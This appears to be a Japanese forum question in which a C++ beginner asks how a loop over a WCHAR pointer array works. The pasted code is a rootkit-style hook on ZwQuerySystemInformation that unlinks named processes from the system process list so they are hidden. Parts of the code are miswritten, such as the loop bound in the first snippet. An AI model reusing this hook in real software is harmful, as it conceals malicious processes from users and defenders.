私はC++の経験があまりなく、いくつかのコードを読んでいて、これがどのように理にかなっているのか知りたいと思っていました...
WCHAR *Process[128];
for(i=0; i<Process; i++)
wchar の配列へのポインターが表示されます。どうすればそれをループできますか? 配列全体をループしますか?
コード全体は次のとおりです。
WCHAR *ProcessToHide[128];
ULONG NbProcessToHide=0;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformationAddress = NULL;
LONGLONG UserTime=0, KernelTime=0;
NTSTATUS ZwQuerySystemInformationHook(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS status;
PSYSTEM_PROCESS_INFORMATION curr;
PSYSTEM_PROCESS_INFORMATION prev;
ULONG i;
status = ((ZWQUERYSYSTEMINFORMATION)(ZwQuerySystemInformationAddress)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( !NT_SUCCESS(status) )
return status;
if(SystemInformationClass!=5) // not a process request
return status;
for(i=0; i<NbProcessToHide; i++) {
curr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
prev = NULL;
while(curr) {
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL) {
if( curr->ProcessName.Length == wcslen(ProcessToHide[i])*2 &&
!memcmp(curr->ProcessName.Buffer,ProcessToHide[i], curr->ProcessName.Length))
{
if(!prev) {
// we are first process
if(curr->NextEntryDelta) // if there is a process after it
// first process becomes this one
(PBYTE)SystemInformation += curr->NextEntryDelta;
else
// no process ! >_>
SystemInformation = NULL;
}
else {
// there was a process before
if(curr->NextEntryDelta) // if there is a process after
// previous process leads to next
prev->NextEntryDelta += curr->NextEntryDelta;
else
// previous process is the last one =)
prev->NextEntryDelta = 0;
}
}
else
// not a process to hide, prev ptr go to this process
prev = curr;
}
// curr go to next process
if(curr->NextEntryDelta)
((PBYTE)curr += curr->NextEntryDelta);
else
curr = NULL;
}
}
